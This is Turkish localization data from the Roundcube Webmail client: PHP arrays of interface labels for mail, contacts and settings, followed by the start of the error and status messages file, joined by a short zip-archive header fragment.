$labels['togglefullheaders'] = 'İleti üst bilgilerini görüntüle/gizle';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Düz metin';
$labels['savesentmessagein'] = 'Gönderilen ileti şuraya kaydedilsin';
$labels['dontsave'] = 'kaydedilmesin';
$labels['maxuploadsize'] = 'İzin verilen en büyük dosya boyutu $size';
$labels['addcc'] = 'Kopya ekle';
$labels['addbcc'] = 'Gizli kopya ekle';
$labels['addreplyto'] = 'Yanıtlama adresi ekle';
$labels['addfollowupto'] = 'İzleme adresi ekle';
$labels['sendreceipt'] = 'Okundu iletisi gönderilsin mi?';
$labels['mdnrequest'] = 'Bu iletinin göndericisi okuduğunuza dair onay istedi. Onay göndermek ister misiniz ?';
$labels['receiptread'] = 'Alındı onayı (okundu)';
$labels['yourmessage'] = 'İletinizin okundu onayı';
$labels['receiptnote'] = 'Not: Bu okundu onayı iletinizin yalnızca alıcının bilgisayarında görüntülendiğini belirtir. Alıcının ileti içeriğini okuduğunu ya da anladığını kanıtlamaz.';
$labels['sendalwaysto'] = 'Her zaman $email adresine gönderilsin';
$labels['zoomin'] = 'Yakınlaştır';
$labels['zoomout'] = 'Uzaklaştır';
$labels['rotate'] = 'Döndür';
$labels['increaseimage'] = 'Görsel boyutunu büyüt';
$labels['decreaseimage'] = 'Görsel boyutunu küçült';
$labels['rotateimage'] = 'Görseli döndür';
$labels['showtools'] = 'Görsel araçları görüntülensin';
$labels['hidetools'] = 'Görsel araçları gizlensin';
$labels['name'] = 'Görüntülenecek ad';
$labels['firstname'] = 'Ad';
$labels['surname'] = 'Soyad';
$labels['middlename'] = 'İkinci ad';
$labels['nameprefix'] = 'Ön ek';
$labels['namesuffix'] = 'Son ek';
$labels['nickname'] = 'Takma ad';
$labels['jobtitle'] = 'İş unvanı';
$labels['department'] = 'Bölüm';
$labels['gender'] = 'Cinsiyet';
$labels['maidenname'] = 'Kızlık soyadı';
$labels['email'] = 'E-posta';
$labels['phone'] = 'Telefon';
$labels['address'] = 'Adres';
$labels['street'] = 'Sokak';
$labels['locality'] = 'İl';
$labels['zipcode'] = 'Posta kodu';
$labels['region'] = 'Bölge';
$labels['country'] = 'Ülke';
$labels['birthday'] = 'Doğum günü';
$labels['anniversary'] = 'Yıl dönümü';
$labels['website'] = 'Web sayfası';
$labels['instantmessenger'] = 'Anlık iletişim';
$labels['notes'] = 'Notlar';
$labels['male'] = 'Erkek';
$labels['female'] = 'Kadın';
$labels['manager'] = 'Yönetici';
$labels['assistant'] = 'Yardımcı';
$labels['spouse'] = 'Eş';
$labels['allfields'] = 'Tüm alanlar';
$labels['search'] = 'Ara';
$labels['searchresult'] = 'Arama sonucu';
$labels['advsearch'] = 'Gelişmiş arama';
$labels['advanced'] = 'Gelişmiş';
$labels['other'] = 'Diğer';
$labels['printcontact'] = 'Kişiyi yazdır';
$labels['qrcode'] = 'QR kodu';
$labels['typehome'] = 'Ev';
$labels['typework'] = 'İş';
$labels['typeother'] = 'Diğer';
$labels['typemobile'] = 'Cep telefonu';
$labels['typemain'] = 'Ana';
$labels['typehomefax'] = 'Ev faksı';
$labels['typeworkfax'] = 'İş faksı';
$labels['typecar'] = 'Araç';
$labels['typepager'] = 'Çağrı cihazı';
$labels['typevideo'] = 'Görüntülü';
$labels['typeassistant'] = 'Yardımcı';
$labels['typehomepage'] = 'Web sitesi';
$labels['typeblog'] = 'Günlük';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Alan ekle...';
$labels['addcontact'] = 'Kişi ekle';
$labels['editcontact'] = 'Kişiyi düzenle';
$labels['contacts'] = 'Kişiler';
$labels['contactproperties'] = 'Kişi bilgileri';
$labels['contactnameandorg'] = 'Ad ve kuruluş';
$labels['personalinfo'] = 'Kişisel bilgiler';
$labels['personal'] = 'Kişisel';
$labels['contactphoto'] = 'Fotoğraf';
$labels['edit'] = 'Düzenle';
$labels['cancel'] = 'İptal';
$labels['save'] = 'Kaydet';
$labels['delete'] = 'Sil';
$labels['discard'] = 'Yok say';
$labels['continue'] = 'Devam et';
$labels['ok'] = 'Tamam';
$labels['rename'] = 'Yeniden adlandır';
$labels['addphoto'] = 'Ekle';
$labels['replacephoto'] = 'Değiştir';
$labels['uploadphoto'] = 'Fotoğraf yükle';
$labels['choosefile'] = 'Dosyayı seçin...';
$labels['choosefiles'] = 'Dosyaları seçin...';
$labels['browse'] = 'Göz at';
$labels['newcontact'] = 'Yeni kişi ekle';
$labels['deletecontact'] = 'Seçilmiş kişileri sil';
$labels['composeto'] = 'Şu kişiye ileti hazırla';
$labels['contactsfromto'] = 'Kişiler: $from - $to , Toplam: $count';
$labels['print'] = 'Yazdır';
$labels['export'] = 'Dışa aktar';
$labels['exportall'] = 'Tümünü dışa aktar';
$labels['exportsel'] = 'Seçilmişleri dışa aktar';
$labels['exportvcards'] = 'Kişileri vCard biçiminde dışa aktar';
$labels['newgroup'] = 'Yeni grup ekle';
$labels['addgroup'] = 'Grup ekle';
$labels['grouprename'] = 'Grubu yeniden adlandır';
$labels['groupdelete'] = 'Grubu sil';
$labels['groupassign'] = 'Gruba ata...';
$labels['groupremove'] = 'Gruptan çıkar';
$labels['groupremoveselected'] = 'Seçilmiş kişileri gruptan çıkar';
$labels['uponelevel'] = 'Üst düzeye git';
$labels['previouspage'] = 'Önceki sayfayı görüntüle';
$labels['firstpage'] = 'İlk sayfayı görüntüle';
$labels['nextpage'] = 'Sonraki sayfayı görüntüle';
$labels['lastpage'] = 'Son sayfayı görüntüle';
$labels['group'] = 'Grup';
$labels['groups'] = 'Gruplar';
$labels['listgroup'] = 'Grup üyelerini listele';
$labels['personaladrbook'] = 'Kişisel adresler';
$labels['searchsave'] = 'Aramayı kaydet';
$labels['searchdelete'] = 'Aramayı sil';
$labels['import'] = 'İçe aktar';
$labels['importcontacts'] = 'Kişileri içe aktar';
$labels['importfromfile'] = 'Dosyadan içe aktar';
$labels['importtarget'] = 'Kişileri ekle';
$labels['importreplace'] = 'Tüm adres defterinin yerine geçsin';
$labels['importgroups'] = 'Grup atamalarını içe aktar';
$labels['importgroupsall'] = 'Tümü (gerekirse gruplar eklensin)';
$labels['importgroupsexisting'] = 'Yalnızca var olan gruplar';
$labels['importdesc'] = 'Var olan bir adres defterindeki kişileri yükleyebilirsiniz.<br/>Şu anda <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> ve CSV (virgül ile ayrılmış veriler) dosya biçimlerini destekliyoruz.';
$labels['importmapdesc'] = 'CSV verilerini içe aktarmayı başlatmadan önce aşağıdaki alan eşleştirme bilgilerinin doğru olduğundan emin olun.';
$labels['fieldnotmapped'] = 'Alan eşleştirilmemiş (içe aktarılmaz)';
$labels['skipheader'] = 'İlk satır içe aktarılmasın (başlıklar)';
$labels['done'] = 'Tamam';
$labels['settingsfor'] = 'Şunun ayarları';
$labels['about'] = 'Hakkında';
$labels['preferences'] = 'Ayarlar';
$labels['userpreferences'] = 'Kullanıcı ayarları';
$labels['editpreferences'] = 'Kullanıcı ayarlarını düzenle';
$labels['identities'] = 'Kimlikler';
$labels['manageidentities'] = 'Kimlik yönetimi';
$labels['newidentity'] = 'Yeni kimlik ekle';
$labels['addidentity'] = 'Kimlik ekle';
$labels['editidentity'] = 'Kimliği düzenle';
$labels['identityencryption'] = 'Şifreleme';
$labels['preferhtml'] = 'HTML görünümü kullanılsın';
$labels['defaultcharset'] = 'Varsayılan karakter kümesi';
$labels['htmlmessage'] = 'HTML ileti';
$labels['messagepart'] = 'Parça';
$labels['digitalsig'] = 'Sayısal imza';
$labels['dateformat'] = 'Tarih biçimi';
$labels['timeformat'] = 'Saat biçimi';
$labels['prettydate'] = 'Tarihler kısa görüntülensin';
$labels['setdefault'] = 'Varsayılan olarak atansın';
$labels['autodetect'] = 'Otomatik';
$labels['language'] = 'Dil';
$labels['timezone'] = 'Saat dilimi';
$labels['pagesize'] = 'Bir sayfadaki satır sayısı';
$labels['signature'] = 'İmza';
$labels['dstactive'] = 'Yaz saati uygulaması';
$labels['showinextwin'] = 'İleti yeni pencerede açılsın';
$labels['composeextwin'] = 'İleti yeni pencerede hazırlansın';
$labels['htmleditor'] = 'HTML iletileri hazırla';
$labels['htmlonreply'] = 'yalnızca HTML biçimindeki iletiler yanıtlanırken';
$labels['htmlonreplyandforward'] = 'HTML biçimindeki iletiler yanıtlanırken ya da iletilirken';
$labels['htmlsignature'] = 'HTML imza';
$labels['showemail'] = 'E-posta adresi ad ile birlikte görüntülensin';
$labels['previewpane'] = 'Ön izleme panosu görüntülensin';
$labels['skin'] = 'Arayüz görünümü';
$labels['logoutclear'] = 'Oturum kapatıldığında Çöp boşaltılsın';
$labels['logoutcompact'] = 'Oturum kapatıldığında Gelen kutusu sıkıştırılsın';
$labels['uisettings'] = 'Kullanıcı arayüzü';
$labels['serversettings'] = 'Sunucu ayarları';
$labels['mailboxview'] = 'Posta kutusu görünümü';
$labels['mdnrequests'] = 'Alındı onayları';
$labels['askuser'] = 'ne yapılacağı bana sorulsun';
$labels['autosend'] = 'otomatik olarak gönderilsin';
$labels['autosendknown'] = 'adres defterimdekilere gönderilsin, diğerleri bana sorulsun';
$labels['autosendknownignore'] = 'adres defterimdekilere gönderilsin, diğerleri yok sayılsın';
$labels['autosendtrusted'] = 'güvenilir göndericilere alındı iletisi gönderilsin, diğerleri bana sorulsun';
$labels['autosendtrustedignore'] = 'güvenilir göndericilere alındı iletisi gönderilsin, diğerleri yok sayılsın';
$labels['ignorerequest'] = 'yok sayılsın';
$labels['readwhendeleted'] = 'Silinmiş iletiler okunmuş olarak işaretlensin';
$labels['flagfordeletion'] = 'İletiler silinmek yerine silinecek olarak işaretlensin';
$labels['skipdeleted'] = 'Silinmiş iletiler görüntülenmesin';
$labels['deletealways'] = 'İletiler çöpe atılırken sorun çıkarsa tamamen silinsin';
$labels['deletejunk'] = 'İstenmeyenler klasöründeki iletiler doğrudan silinsin';
$labels['showremoteimages'] = 'Uzaktan yüklenen görseller görüntülensin';
$labels['allowremoteresources'] = 'Uzak kaynaklar (görseller, biçemler) kullanılabilsin';
$labels['fromknownsenders'] = 'bilinen göndericilerden';
$labels['fromtrustedsenders'] = 'güvenilir göndericilerden';
$labels['frommycontacts'] = 'kişilerimden';
$labels['always'] = 'her zaman';
$labels['alwaysbutplain'] = 'her zaman, düz metin biçiminde yanıtlama dışında';
$labels['showinlineimages'] = 'İleti ekindeki görseller iletinin altında görüntülensin';
$labels['autosavedraft'] = 'Taslaklar otomatik olarak kaydedilsin';
$labels['everynminutes'] = '$n dakikada bir';
$labels['refreshinterval'] = 'Yenileme sıklığı (yeni iletileri denetleme, vb.)';
$labels['never'] = 'asla';
$labels['immediately'] = 'hemen';
$labels['messagesdisplaying'] = 'İleti görünümü';
$labels['messagescomposition'] = 'Yeni ileti hazırlama';
$labels['mimeparamfolding'] = 'Ek dosya adları';
$labels['2231folding'] = 'Tam RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Tam RFC 2047 (diğer)';
$labels['force7bit'] = '8 bit karakterler için MIME kodlaması kullanılsın';
$labels['savelocalstorage'] = "Tarayıcının yerel depolama alanına kaydedilsin (geçiçi olarak)";
$labels['advancedoptions'] = 'Gelişmiş ayarlar';
$labels['toggleadvancedoptions'] = 'Gelişmiş ayarları görüntüle/gizle';
$labels['focusonnewmessage'] = 'Yeni ileti geldiğinde web tarayıcı penceresine odaklanılsın';
$labels['checkallfolders'] = 'Tüm klasörler yeni iletiler için denetlensin';
$labels['displaynext'] = 'Silme ya da taşıma sonrası sıradaki ileti görüntülensin';
$labels['defaultfont'] = 'HTML iletiler için varsayılan yazı türü';
$labels['mainoptions'] = 'Temel ayarlar';
$labels['browseroptions'] = 'Tarayıcı ayarları';
$labels['section'] = 'Bölüm';
$labels['maintenance'] = 'Bakım';
$labels['newmessage'] = 'Yeni ileti';
$labels['signatureoptions'] = 'İmza ayarları';
$labels['whenreplying'] = 'Yanıtlarken özgün iletiye şu yapılsın';
$labels['replyempty'] = 'alıntılanmasın';
$labels['replytopposting'] = 'yeni ileti alıntı metninin üzerinden başlatılsın';
$labels['replytoppostingnoindent'] = 'yeni ileti alıntı metninin üzerinden başlatılsın (girinti olmadan)';
$labels['replybottomposting'] = 'yeni ileti alıntı metninin altından başlatılsın';
$labels['replyremovesignature'] = 'Yanıtlarken önceki imzalar silinsin';
$labels['autoaddsignature'] = 'İmza otomatik olarak eklensin';
$labels['newmessageonly'] = 'yalnızca yeni iletilere';
$labels['replyandforwardonly'] = 'yalnızca yanıt ve iletmelere';
$labels['insertsignature'] = 'İmza ekle';
$labels['sigbelow'] = 'İmza alıntı metninin altına eklensin';
$labels['sigseparator'] = 'İmza eklenirken standart ayıraç kullanılsın';
$labels['automarkread'] = 'İletiler okunmuş olarak işaretlensin';
$labels['afternseconds'] = '$n saniye sonra';
$labels['reqmdn'] = 'Her zaman alındı onayı istensin';
$labels['reqdsn'] = 'Her zaman teslim edildi onayı istensin';
$labels['replysamefolder'] = 'Yanıtlar iletinin bulunduğu klasöre kaydedilsin';
$labels['defaultabook'] = 'Varsayılan adres defteri';
$labels['autocompletesingle'] = 'Otomatik tamamlanırken alternatif e-posta adresleri atlansın';
$labels['listnamedisplay'] = 'Kişiler görünümü';
$labels['contactformmode'] = 'Kişi formu kipi';
$labels['privatemode'] = 'Kişisel (ev)';
$labels['businessmode'] = 'İş (ofis)';
$labels['collectedaddresses'] = 'Derlenmiş adresler';
$labels['collectedrecipients'] = 'Derlenmiş alıcılar';
$labels['collectedrecipientsopt'] = 'Giden e-posta alıcıları şurada görüntülensin';
$labels['collectedsendersopt'] = 'Güvenilen göndericiler şurada depolansın';
$labels['trustedsenders'] = 'Güvenilen göndericiler';
$labels['spellcheckbeforesend'] = 'İleti gönderilmeden önce yazımı denetlensin';
$labels['spellcheckoptions'] = 'Yazım denetimi ayarları';
$labels['spellcheckignoresyms'] = 'İçinde simge geçen sözcükler yok sayılsın';
$labels['spellcheckignorenums'] = 'İçinde rakam geçen sözcükler yok sayılsın';
$labels['spellcheckignorecaps'] = 'Tümü büyük harf olan sözcükler yok sayılsın';
$labels['addtodict'] = 'Sözlüğe ekle';
$labels['mailtoprotohandler'] = 'mailto: bağlantıları için kullanılacak işleyici';
$labels['standardwindows'] = 'Açılan pencereler standart pencere olarak işlensin';
$labels['forwardmode'] = 'İletiler şu şekilde iletilsin';
$labels['inline'] = 'iletinin içinde';
$labels['asattachment'] = 'ek dosya olarak';
$labels['replyallmode'] = '[Toplu yanıtla] düğmesi varsayılan işlemi';
$labels['replyalldefault'] = 'toplu yanıtlasın';
$labels['replyalllist'] = 'yalnızca posta listesindekileri yanıtlasın (varsa)';
$labels['allmessages'] = 'tüm iletiler';
$labels['olderxdays'] = '$x günden eski';
$labels['folder'] = 'Klasör';
$labels['folders'] = 'Klasörler';
$labels['foldername'] = 'Klasör adı';
$labels['subscribed'] = 'Abonelik';
$labels['messagecount'] = 'İletiler';
$labels['create'] = 'Ekle';
$labels['createfolder'] = 'Yeni klasör ekle';
$labels['managefolders'] = 'Klasör yönetimi';
$labels['specialfolders'] = 'Özel klasörler';
$labels['properties'] = 'Özellikler';
$labels['folderproperties'] = 'Klasör özellikleri';
$labels['parentfolder'] = 'Üst klasör';
$labels['location'] = 'Konum';
$labels['info'] = 'Bilgiler';
$labels['getfoldersize'] = 'Klasör büyüklüğünü öğrenmek için tıklayın';
$labels['changesubscription'] = 'Abonelik durumunu değiştirmek için tıklayın';
$labels['foldertype'] = 'Klasör türü';
$labels['personalfolder'] = 'Kişisel klasör';
$labels['otherfolder'] = 'Diğer kullanıcıların klasörü';
$labels['sharedfolder'] = 'Herkese açık klasör';
$labels['findfolders'] = 'Klasör arama';
$labels['findcontacts'] = 'Kişi arama';
$labels['findmail'] = 'E-posta arama';
$labels['namespace.personal'] = 'Kişisel';
$labels['namespace.other'] = 'Diğer kullanıcılar';
$labels['namespace.shared'] = 'Paylaşılan';
$labels['dualuselabel'] = 'Yalnızca şunu içerebilir';
$labels['dualusemail'] = 'iletiler';
$labels['dualusefolder'] = 'klasörler';
$labels['generate'] = 'Üret';
$labels['encryptioncreatekey'] = 'Yeni anahtar çifti oluştur';
$labels['openmailvelopesettings'] = 'Mailvelope ayarlarını aç';
$labels['encryptionprivkeysinmailvelope'] = 'Mailvelope anahtarlığınızda eşleşen $nr PGP kişisel anahtarı var:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Mailvelope uygulama ekinde bu gönderici kimliği için henüz bir kişisel PGP anahtarı bulunmuyor. Bir kişisel anahtar oluşturup şifrelenmiş iletişimi etkinleştirmek ister misiniz?';
$labels['encryption'] = 'Şifreleme';
$labels['mailvelopeoptions'] = 'Mailvelope ayarları';
$labels['mailvelopemainkeyring'] = 'Mailvelope ana anahtarlığı kullanılsın';
$labels['mailvelopenotfound'] = 'Web tarayıcınızda Mailvelope eklentisi etkinleştirilmemiş ya da kurulmamış.';
$labels['sortby'] = 'Sıralama';
$labels['sortasc'] = 'Artan';
$labels['sortdesc'] = 'Azalan';
$labels['undo'] = 'Geri al';
$labels['installedplugins'] = 'Kurulmuş uygulama ekleri';
$labels['plugin'] = 'Uygulama eki';
$labels['version'] = 'Sürüm';
$labels['source'] = 'Kaynak';
$labels['destination'] = 'Hedef';
$labels['license'] = 'Lisans';
$labels['support'] = 'Destek isteyin';
$labels['savedsearches'] = 'Kaydedilmiş aramalar';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'AA';
$labels['dateformatd'] = 'GG';
$labels['dateformatj'] = 'G';
$labels['dateformatn'] = 'A';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'İngilizce';
$labels['westerneuropean'] = 'Batı Avrupa';
$labels['easterneuropean'] = 'Doğu Avrupa';
$labels['southeasterneuropean'] = 'Güneydoğu Avrupa';
$labels['baltic'] = 'Baltık';
$labels['cyrillic'] = 'Kiril';
$labels['arabic'] = 'Arapça';
$labels['greek'] = 'Yunanca';
$labels['hebrew'] = 'İbranice';
$labels['turkish'] = 'Türkçe';
$labels['nordic'] = 'İskandinav';
$labels['thai'] = 'Tay Dili';
$labels['celtic'] = 'Keltik';
$labels['vietnamese'] = 'Vietnamca';
$labels['japanese'] = 'Japonca';
$labels['korean'] = 'Korece';
$labels['chinese'] = 'Çince';
$labels['arialabeltopnav'] = 'Pencere denetimi';
$labels['arialabeltasknav'] = 'Uygulama görevleri';
$labels['arialabeltoolbar'] = 'Uygulama araç çubuğu';
$labels['arialabellistnav'] = 'Liste gezinmesi';
$labels['arialabelactivetask'] = 'Etkin görevler';
$labels['arialabelmessagessearchfilter'] = 'İleti listeleme süzgeci';
$labels['arialabelmailsearchform'] = 'İleti arama formu';
$labels['arialabelcontactsearchform'] = 'Kişi arama formu';
$labels['arialabelmailquicksearchbox'] = 'İleti arama ifadesi';
$labels['arialabelquicksearchbox'] = 'Arama ifadesi';
$labels['arialabelfoldersearchfilter'] = 'Klasör listeleme süzgeci';
$labels['arialabelfoldersearchform'] = 'Klasör arama formu';
$labels['arialabelfolderlist'] = 'İleti klasörü seçimi';
$labels['arialabelmessagelist'] = 'İletileri listele';
$labels['arialabelmailpreviewframe'] = 'İleti ön izlemesi';
$labels['arialabelmailboxmenu'] = 'Klasör işlemleri menüsü';
$labels['arialabellistselectmenu'] = 'Liste seçme menüsü';
$labels['arialabelthreadselectmenu'] = 'Yazışma listeleme menüsü';
$labels['arialabelmessagelistoptions'] = 'İleti listesi görünüm ve sıralama ayarları';
$labels['arialabelmailimportdialog'] = 'İleti içe aktarma formu';
$labels['arialabelmessagenav'] = 'İleti gezinmesi';
$labels['arialabelmessagebody'] = 'İleti metni';
$labels['arialabelmessageactions'] = 'İleti işlemleri';
$labels['arialabelcontactquicksearch'] = 'Kişi arama formu';
$labels['arialabelcontactsearchbox'] = 'Kişi arama ifadesi';
$labels['arialabelmessageheaders'] = 'İleti üst bilgileri';
$labels['arialabelforwardingoptions'] = 'İletme ayarları';
$labels['arialabelreplyalloptions'] = 'Toplu yanıt ayarları';
$labels['arialabelmoremessageactions'] = 'Diğer ileti işlemleri';
$labels['arialabelmorecontactactions'] = 'Diğer kişi işlemleri';
$labels['arialabelmarkmessagesas'] = 'Seçilmiş iletileri şu şekilde işaretle...';
$labels['arialabelcomposeoptions'] = 'İleti hazırlama ayarları';
$labels['arialabelresponsesmenu'] = 'Hazır yanıtlar menüsü';
$labels['arialabelattachmentuploadform'] = 'Ek dosya yükleme formu';
$labels['arialabelattachmentmenu'] = 'Ek dosya ayarları';
$labels['arialabelmailtomenu'] = 'E-posta adresi ayarları';
$labels['arialabelattachmentpreview'] = 'Ek dosya ön izlemesi';
$labels['ariasummarycomposecontacts'] = 'Kişileri ve grupları alıcı olarak seçmek için listeleme';
$labels['arialabelcontactexportoptions'] = 'Kişi dışa aktarma ayarları';
$labels['arialabelabookgroupoptions'] = 'Adres defteri/grubu ayarları';
$labels['arialabelpreferencesform'] = 'Ayarlar formu';
$labels['arialabelidentityeditfrom'] = 'Kimlik düzenleme formu';
$labels['arialabelresponseeditfrom'] = 'Hazır yanıt düzenleme formu';
$labels['arialabelsearchterms'] = 'Arama ifadeleri';
$labels['arialabeldropactionmenu'] = 'Sürükle bırak işlemleri menüsü';
$labels['arialabelheadersmenu'] = 'Alıcı (üst bilgi) ekleme menüsü';
$labels['arialabelimagetools'] = 'Görsel araçları';
$labels['helplistnavigation'] = 'Tuş takımı ile gezinme listesi';
$labels['helplistkeyboardnavigation'] = "Yukarı / Aşağı ok: Satırı odağa ya da seçime taşır.
Boşluk: Odaklanılmış satırı seçer.
Shift + yukarı/aşağı ok: Yukarı ya da aşağı ek satır seçer.
Ctrl + Boşluk: Odaklanılmış satırı seçime ekler ya da çıkarır.";
$labels['helplistkeyboardnavmessages'] = "Sağ/Sol ok: İleti gruplarını genişletir ya da daraltır (yalnızca yazışma kipinde).
Enter: Seçilmiş ya da odaklanılmış iletiyi açar.
Delete: Seçilmiş iletiyi çöpe atar.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Seçilmiş ya da odaklanılmış kişiyi açar.";
PK
h�\�%�9E9E'program/localization/tr_TR/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Bir sorun çıktı!';
$messages['loginfailed']  = 'Oturum açılamadı.';
$messages['cookiesdisabled'] = 'Tarayıcınız çerezleri kabul etmiyor.';
$messages['sessionerror'] = 'Oturumunuzun süresi geçmiş ya da geçersiz.';
$messages['cookiesmismatch'] = 'Çerez uyuşmazlığı sorunu. Lütfen web tarayıcınızın çerezlerini silin.';
$messages['storageerror'] = 'IMAP sunucusu ile bağlantı kurulamadı.';
$messages['servererror'] = 'Sunucu sorunu!';
$messages['servererrormsg'] = 'Sunucu sorunu: $msg';
$messages['accountlocked'] = 'Çok fazla başarısız oturum açma girişimi yapıldı. Bir süre sonra yeniden deneyin.';
$messages['connerror'] = 'Bağlantı sorunu (sunucuya erişilemedi)!';
$messages['dberror'] = 'Veritabanı sorunu!';
$messages['dbconnerror'] = 'Veritabanı bağlantısı kurulamadı!';
$messages['windowopenerror'] = 'Açılan pencere engellendi!';
$messages['requesttimedout'] = 'İstek zaman aşımına uğradı';
$messages['errorreadonly'] = 'İşlem gerçekleştirilemedi. Klasör salt okunur.';
$messages['errornoperm'] = 'İşlem gerçekleştirilemedi. İzinler yetersiz.';
$messages['erroroverquota'] = 'Boş alan olmadığından işlem yapılamadı.';
$messages['erroroverquotadelete'] = 'Diskte boş alan kalmadı. SHIFT+DEL tuşlarına basarak iletiyi silin.';
$messages['invalidrequest'] = 'İstek geçersiz! Herhangi bir veri kaydedilmedi';
$messages['invalidhost'] = 'Sunucu adı geçersiz.';
$messages['nomessagesfound'] = 'Bu posta kutusunda bir ileti bulunamadı.';
$messages['loggedout'] = 'Oturumunuzu kapattınız. Hoşça kalın!';
$messages['mailboxempty'] = 'Posta kutusu boş';
$messages['nomessages'] = 'Herhangi bir ileti yok';
$messages['refreshing'] = 'Yenileniyor...';
$messages['loading'] = 'Yükleniyor...';
$messages['uploading'] = 'Dosya yükleniyor...';
$messages['attaching'] = 'Dosya ekle...';
$messages['uploadingmany'] = 'Dosyalar yükleniyor...';
$messages['loadingdata'] = 'Veriler yükleniyor...';
$messages['checkingmail'] = 'Yeni iletiler denetleniyor...';
$messages['sendingmessage'] = 'İleti gönderiliyor...';
$messages['messagesent'] = 'İleti gönderildi.';
$messages['savingmessage'] = 'İleti kaydediliyor...';
$messages['messagesaved'] = 'İleti taslaklara kaydedildi.';
$messages['successfullysaved'] = 'Kaydedildi';
$messages['savingresponse'] = 'Yanıt metni kaydediliyor...';
$messages['deleteresponseconfirm'] = 'Bu yanıt metnini silmek istediğinize emin misiniz?';
$messages['nocontactselected'] = 'Henüz bir kişi seçmemişsiniz.';
$messages['addedsuccessfully'] = 'Kişi adres defterine eklendi';
$messages['contactexists'] = 'Bu e-posta adresi rehberde var.';
$messages['contactnameexists'] = 'Rehberde aynı adlı biri zaten var.';
$messages['blockedimages'] = 'Kişisel gizliliğinizi korumak amacıyla iletideki görseller engellendi.';
$messages['blockedresources'] = 'Kişisel gizliliğinizi korumak amacıyla iletideki uzak kaynaklar engellendi.';
$messages['suspiciousemail'] = 'Bu iletide sahte olabilecek şüpheli e-posta adresleri var.';
$messages['bccemail'] = 'İletilmiş iletilerde gizli alıcılar (Bcc) var.';
$messages['bouncehint'] = 'İleti herhangi bir değişiklik yapılmadan gönderilecek. Özgün metin, üst bilgi ve alıcılar korunacak.';
$messages['encryptedmessage'] = 'Bu ileti şifrelenmiş olduğundan görüntülenemiyor.';
$messages['externalmessagedecryption'] = 'Bu ileti şifrelenmiş ve şifresi tarayıcınızın eklentileri ile çözülebilir.';
$messages['nopubkeyfor'] = '$email için geçerli bir herkese açık anahtar bulunamadı';
$messages['nopubkeyforsender'] = 'Göndericinin herkese açık anahtar kimliği bulunamadı. İletinin yalnızca alıcılar için şifrelenmesini ister misiniz?';
$messages['encryptnoattachments'] = 'Yüklediğiniz ek dosyalar şifrelenmemiş. Lütfen dosya eklerini yeniden şifreleme düzenleyicisine ekleyin.';
$messages['searchpubkeyservers'] = 'Kayıp anahtarları herkese açık anahtar sunucularında aramak ister misiniz?';
$messages['encryptpubkeysfound'] = 'Aşağıdaki herkese açık anahtarlar bulundu:';
$messages['keyservererror'] = 'Anahtar, anahtar sunucusundan alınamadı.';
$messages['keyimportsuccess'] = '$key herkese açık anahtarı, anahtarlığınızın içine aktarıldı.';
$messages['nocontactsfound'] = 'Uygun bir kişi bulunamadı';
$messages['contactnotfound'] = 'Aranan kişi bulunamadı';
$messages['contactsearchonly'] = 'Seçilmiş adres defterindeki kişileri görüntülemek için bir arama formunu kullanmalısınız.';
$messages['sendingfailed'] = 'İleti gönderilemedi.';
$messages['senttooquickly'] = 'Lütfen bu iletiyi göndermeden önce $sec saniye bekleyin.';
$messages['errorsavingsent'] = 'Gönderilen ileti kayıt edilirken bir sorun çıktı.';
$messages['errorsaving'] = 'Kayıt sırasında bir sorun çıktı.';
$messages['errormoving'] = 'İleti taşınamadı.';
$messages['errorcopying'] = 'İleti kopyalanamadı.';
$messages['errordeleting'] = 'İleti silinemedi';
$messages['errormarking'] = 'İleti işaretlenemedi';
$messages['alerttitle'] = 'Dikkat';
$messages['confirmationtitle'] = 'Emin misiniz...';
$messages['deletecontactconfirm']  = 'Seçilmiş kişileri silmek istediğinize emin misiniz?';
$messages['deletegroupconfirm']  = 'Seçilmiş grupları silmek istediğinize emin misiniz?';
$messages['deletemessagesconfirm'] = 'Seçilmiş iletileri silmek istediğinize emin misiniz?';
$messages['deletefolderconfirm']  = 'Bu klasörü silmek istediğinize emin misiniz?';
$messages['movefolderconfirm']  = 'Bu klasörü taşımak istediğinize emin misiniz?';
$messages['purgefolderconfirm']  = 'Bu klasördeki tüm iletileri silmek istediğinize emin misiniz?';
$messages['contactdeleting'] = 'Kişi(ler) siliniyor...';
$messages['groupdeleting'] = 'Grup siliniyor...';
$messages['folderdeleting'] = 'Klasör siliniyor...';
$messages['foldermoving'] = 'Klasör taşınıyor...';
$messages['foldersubscribing'] = 'Klasöre abone olunuyor...';
$messages['folderunsubscribing'] = 'Klasör aboneliği kaldırılıyor...';
$messages['formincomplete'] = 'Form tam olarak doldurulmamış.';
$messages['noemailwarning'] = 'Lütfen geçerli bir e-posta adresi yazın.';
$messages['nonamewarning']  = 'Lütfen bir ad yazın.';
$messages['nopagesizewarning'] = 'Lütfen bir sayfa boyutu yazın.';
$messages['nosenderwarning'] = 'Göndericinin e-posta adresini yazın.';
$messages['recipientsadded'] = 'Alıcı(lar) eklendi.';
$messages['norecipientwarning'] = 'Lütfen en az bir alıcı belirtin';
$messages['disclosedrecipwarning'] = 'Tüm alıcılar diğer alıcıların e-posta adreslerini görebilir. bu durumu engellemek ve gizliliği korumak için Gizli Kopya alanını kullanabilirsiniz.';
$messages['disclosedreciptitle'] = 'Herkese açık alıcı sayısı çok fazla';
$messages['nosubjectwarning']  = '"Konu" alanı boş bırakılmış. Şimdi bir konu yazmak ister misiniz?';
$messages['nosubjecttitle']  = 'Konu belirtilmemiş';
